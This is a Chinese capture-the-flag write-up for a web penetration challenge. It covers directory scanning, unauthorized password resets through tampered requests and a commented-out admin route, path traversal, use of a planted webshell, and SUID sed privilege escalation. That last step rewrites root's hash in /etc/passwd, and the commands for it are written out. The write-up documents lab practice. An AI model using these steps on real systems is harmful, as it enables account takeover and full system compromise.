SUID提权 [湖湘杯 2021 final]Penetratable
这题很有渗透的感觉,建议当成渗透题目来做
可以先扫描一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ┌──(wells㉿XiaoWEI)-[~] └─$ sudo dirsearch -u http://node4.anna.nssctf.cn:28571/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/wells/reports/http_node4.anna.nssctf.cn_28571/__25-03-27_21-36-09.txt Target: http://node4.anna.nssctf.cn:28571/ [21:36:09] Starting: [21:36:14] 403 - 288B - /.ht_wsr.txt [21:36:14] 403 - 288B - /.htaccess.bak1 [21:36:14] 403 - 288B - /.htaccess.orig [21:36:14] 403 - 288B - /.htaccess_extra [21:36:14] 403 - 288B - /.htaccess.sample [21:36:14] 403 - 288B - /.htaccess.save [21:36:14] 403 - 288B - /.htaccessBAK [21:36:14] 403 - 288B - /.htaccess_sc [21:36:14] 403 - 288B - /.htaccess_orig [21:36:14] 403 - 288B - /.htaccessOLD [21:36:14] 403 - 288B - /.htaccessOLD2 [21:36:14] 403 - 288B - /.htm [21:36:14] 403 - 288B - /.html [21:36:14] 403 - 288B - /.htpasswds [21:36:14] 403 - 288B - /.httr-oauth [21:36:14] 403 - 288B - /.htpasswd_test [21:36:15] 403 - 288B - /.php [21:36:28] 301 - 335B - /app -> http://node4.anna.nssctf.cn:28571/app/ [21:36:28] 200 - 520B - /app/ [21:36:33] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28571/config/ [21:36:33] 200 - 487B - /config/ [21:36:53] 200 - 0B - /phpinfo.php [21:36:59] 403 - 288B - /server-status/ [21:36:59] 403 - 288B - /server-status [21:37:03] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28571/static/
有一个phpinfo.php
但直接访问没有任何东西
回到主题页面来
通过修改id参数可以知道有两个用户一个root一个admin,尝试构造注入等也没有任何收获
在findsomething中能找到已知的路由
1 2 3 4 5 6 7 8 9 10 11 /?c=admin /?c=admin&m=updatePass /?c=app&m=login /?c=app&m=register /?c=app&m=signOut /?c=root /?c=root&m=downloadRequestLog&filename= /?c=root&m=getLogList /?c=root&m=getUserInfo /?c=user /?c=user&m=updateUserInfo
尝试直接登录/?c=admin
和/?c=root
会提示没有权限
尝试注册一个正常的用户,登录进去后会发现有修改密码的功能
这里可以修改自己的密码,想越权到修改其他用户的密码
尝试抓包修改
发现成功修改admin的密码,但在修改root的时候被提示没有权限
这里猜测可以通过/?c=admin&m=updatePass
这个路由进行修改root用户的密码
登录admin用户,查看/?c=admin&m=updatePass
中所需要的参数
/static/js/req.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function updatePass(){ // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val())) // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):''; // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):''; // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val())) // $.ajax({ // url: '/?c=admin&m=updatePass', // type: 'post', // data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying, // // async:true, // dataType: 'text', // success: function(data){ // alertHandle(data); // } // }); }
尝试使用这个被注释的路由,通过这个路由成功修改root的密码
登录进root的面板发现有个log的文件,与/?c=root&m=downloadRequestLog&filename=
与之对应,发现有个目录穿越,发现在根目录有/flag文件但无法读取,应该是需要提权的
这边犯傻了,把所有文件都看了一遍还以为在主体代码有什么rce漏洞,后面才注意到最开始扫到的phpinfo.php
这个文件。。。
通过CMD5查询到Webshell的密码为1q2w3e
反弹个shell后查看一下flag的文件权限
1 -r-------- 1 root root 45 Mar 27 15:20 flag
看来是要提权,先看一下suid提权
1 2 3 4 5 6 7 8 9 10 11 www-data@6aae652213e24b63:/var/www/html$ find / -perm -u=s -type f 2>/dev/null /bin/su /bin/sed /bin/umount /bin/mount /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/chfn /usr/lib/openssh/ssh-keysign
发现有sed,尝试使用sed替换/etc/passwd
中密码的部分
1 2 3 4 5 6 7 www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")' adMpHktIn0tR2 www-data@6aae652213e24b63:/var/www/html$ sed -i 's/root:x/root:adMpHktIn0tR2/g' /etc/passwd www-data@6aae652213e24b63:/var/www/html$ su Password: root@6aae652213e24b63:/var/www/html# cat /flag NSSCTF{689a8f95-ec99-490e-8dbf-65f9df21d716}